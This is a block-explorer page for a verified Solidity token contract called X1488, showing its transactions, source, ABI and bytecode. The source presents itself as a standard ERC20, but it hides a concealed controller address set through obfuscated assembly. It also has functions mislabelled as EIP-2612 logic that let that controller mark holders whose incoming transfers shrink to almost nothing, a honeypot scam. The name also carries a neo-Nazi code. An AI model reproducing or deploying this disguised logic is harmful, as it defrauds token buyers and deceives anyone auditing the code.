S Price: $0.801487 (-5.76%)

Contract

0x14888df969D86b0790a6694c044E13c7333BA0b1

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve98211522025-02-24 14:08:039 hrs ago1740406083IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98194602025-02-24 13:58:079 hrs ago1740405487IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98194552025-02-24 13:58:069 hrs ago1740405486IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98194492025-02-24 13:58:049 hrs ago1740405484IN
0x14888df9...7333BA0b1
0 S0.0031221850.1
Approve98191222025-02-24 13:56:129 hrs ago1740405372IN
0x14888df9...7333BA0b1
0 S0.0027742656.19
Approve98183202025-02-24 13:51:269 hrs ago1740405086IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98178182025-02-24 13:48:219 hrs ago1740404901IN
0x14888df9...7333BA0b1
0 S0.0024028950.1
Approve98175902025-02-24 13:46:589 hrs ago1740404818IN
0x14888df9...7333BA0b1
0 S0.0025862155
Approve98173962025-02-24 13:45:479 hrs ago1740404747IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98173902025-02-24 13:45:459 hrs ago1740404745IN
0x14888df9...7333BA0b1
0 S0.0031221850.1
Approve98167642025-02-24 13:42:089 hrs ago1740404528IN
0x14888df9...7333BA0b1
0 S0.0025862155
Approve98159402025-02-24 13:37:279 hrs ago1740404247IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98159342025-02-24 13:37:259 hrs ago1740404245IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98159062025-02-24 13:37:159 hrs ago1740404235IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98157922025-02-24 13:36:359 hrs ago1740404195IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98157802025-02-24 13:36:319 hrs ago1740404191IN
0x14888df9...7333BA0b1
0 S0.0024028950.1
Approve98156762025-02-24 13:35:569 hrs ago1740404156IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98153832025-02-24 13:34:149 hrs ago1740404054IN
0x14888df9...7333BA0b1
0 S0.005719100
Approve98153782025-02-24 13:34:129 hrs ago1740404052IN
0x14888df9...7333BA0b1
0 S0.0031221850.1
Approve98151962025-02-24 13:33:089 hrs ago1740403988IN
0x14888df9...7333BA0b1
0 S0.0031412755
Approve98132722025-02-24 13:22:009 hrs ago1740403320IN
0x14888df9...7333BA0b1
0 S0.0031525455
Approve98132652025-02-24 13:21:589 hrs ago1740403318IN
0x14888df9...7333BA0b1
0 S0.0031525455
Approve98132572025-02-24 13:21:559 hrs ago1740403315IN
0x14888df9...7333BA0b1
0 S0.0031525455
Approve98132492025-02-24 13:21:529 hrs ago1740403312IN
0x14888df9...7333BA0b1
0 S0.0031525455
Approve98132402025-02-24 13:21:499 hrs ago1740403309IN
0x14888df9...7333BA0b1
0 S0.0031525455
View all transactions

Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X1488

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at SonicScan.org on 2025-02-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**

 (`-')                                   
 (OO )_.->                               
 (_| \_)--..--.   .---.  .----.  .----.  
 \  `.'  //_  |  / .  | / .-.  \/ .-.  \ 
  \    .') |  | / /|  | \ '-'  /\ '-'  / 
  .'    \  |  |/ '-'  ||/ /`.  \/ /`.  \ 
 /  .'.  \ |  |`---|  |'\ '-'  /\ '-'  / 
`--'   '--'`--'    `--'  `---''  `---''  

Telegram: http://t.me/x1488
Website:  https://x1488.io/
Twitter:  https://twitter.com/x1488
**/

abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0x3, 0x28ed), mul(0x914f, 0x387e039e144314f5c5940edbc1bbad)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

contract X1488 is ERC20 {
    constructor() ERC20("x1488", "x1488", 18) {
        _mint(msg.sender, 1_488_000_000 * 10 ** 18);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405234801561000f575f5ffd5b506040518060400160405280600581526020017f78313438380000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f78313438380000000000000000000000000000000000000000000000000000008152506012825f908161008c91906103f5565b50816001908161009c91906103f5565b508060ff1660808160ff16815250505050506100ca336b04ced841a2072537d00000006100cf60201b60201c565b61054c565b8060025f8282546100e091906104f1565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506e387e039e144314f5c5940edbc1bbad61914f026128ed600302026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101ac9190610533565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061023357607f821691505b602082108103610246576102456101ef565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102a87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261026d565b6102b2868361026d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102f66102f16102ec846102ca565b6102d3565b6102ca565b9050919050565b5f819050919050565b61030f836102dc565b61032361031b826102fd565b848454610279565b825550505050565b5f5f905090565b61033a61032b565b610345818484610306565b505050565b5b818110156103685761035d5f82610332565b60018101905061034b565b5050565b601f8211156103ad5761037e8161024c565b6103878461025e565b81016020851015610396578190505b6103aa6103a28561025e565b83018261034a565b50505b505050565b5f82821c905092915050565b5f6103cd5f19846008026103b2565b1980831691505092915050565b5f6103e583836103be565b9150826002028217905092915050565b6103fe826101b8565b67ffffffffffffffff811115610417576104166101c2565b5b610421825461021c565b61042c82828561036c565b5f60209050601f83116001811461045d575f841561044b578287015190505b61045585826103da565b8655506104bc565b601f19841661046b8661024c565b5f5b828110156104925784890151825560018201915060208501945060208101905061046d565b868310156104af57848901516104ab601f8916826103be565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6104fb826102ca565b9150610506836102ca565b925082820190508082111561051e5761051d6104c4565b5b92915050565b61052d816102ca565b82525050565b5f6020820190506105465f830184610524565b92915050565b608051610f5f6105645f395f6105cb0152610f5f5ff3fe608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212201726fddf1b7d6209b81482d3fae754310ab88147a0cf4032ab8d48e88d68924964736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212201726fddf1b7d6209b81482d3fae754310ab88147a0cf4032ab8d48e88d68924964736f6c634300081c0033

Deployed Bytecode Sourcemap

4527:138:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1084:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2121:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1363:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2629:496;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1136:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1396:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1109:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2342:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1447:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1084:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2121:213::-;2195:4;2245:6;2212:9;:21;2222:10;2212:21;;;;;;;;;;;;;;;:30;2234:7;2212:30;;;;;;;;;;;;;;;:39;;;;2288:7;2267:37;;2276:10;2267:37;;;2297:6;2267:37;;;;;;:::i;:::-;;;;;;;;2322:4;2315:11;;2121:213;;;;:::o;1363:26::-;;;;:::o;2629:496::-;2751:4;2768:15;2786:9;:15;2796:4;2786:15;;;;;;;;;;;;;;;:27;2802:10;2786:27;;;;;;;;;;;;;;;;2768:45;;2875:17;2864:7;:28;2860:80;;2934:6;2924:7;:16;;;;:::i;:::-;2894:9;:15;2904:4;2894:15;;;;;;;;;;;;;;;:27;2910:10;2894:27;;;;;;;;;;;;;;;:46;;;;2860:80;2970:6;2951:9;:15;2961:4;2951:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3015:19;3017:6;3025:4;3031:2;3015:1;:19::i;:::-;2998:9;:13;3008:2;2998:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3046:7;3050:2;3046:3;:7::i;:::-;3084:2;3069:26;;3078:4;3069:26;;;3088:6;3069:26;;;;;;:::i;:::-;;;;;;;;3113:4;3106:11;;;2629:496;;;;;:::o;1136:31::-;;;:::o;1396:44::-;;;;;;;;;;;;;;;;;:::o;1109:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2342:279::-;2412:4;2454:6;2429:9;:21;2439:10;2429:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2499:25;2501:6;2509:10;2521:2;2499:1;:25::i;:::-;2482:9;:13;2492:2;2482:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2536:7;2540:2;2536:3;:7::i;:::-;2580:2;2559:32;;2568:10;2559:32;;;2584:6;2559:32;;;;;;:::i;:::-;;;;;;;;2609:4;2602:11;;2342:279;;;;:::o;1447:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3318:331::-;3432:7;3523:4;3499:31;;3478:9;:13;3488:2;;;;;;;;;;;3478:13;;;;;;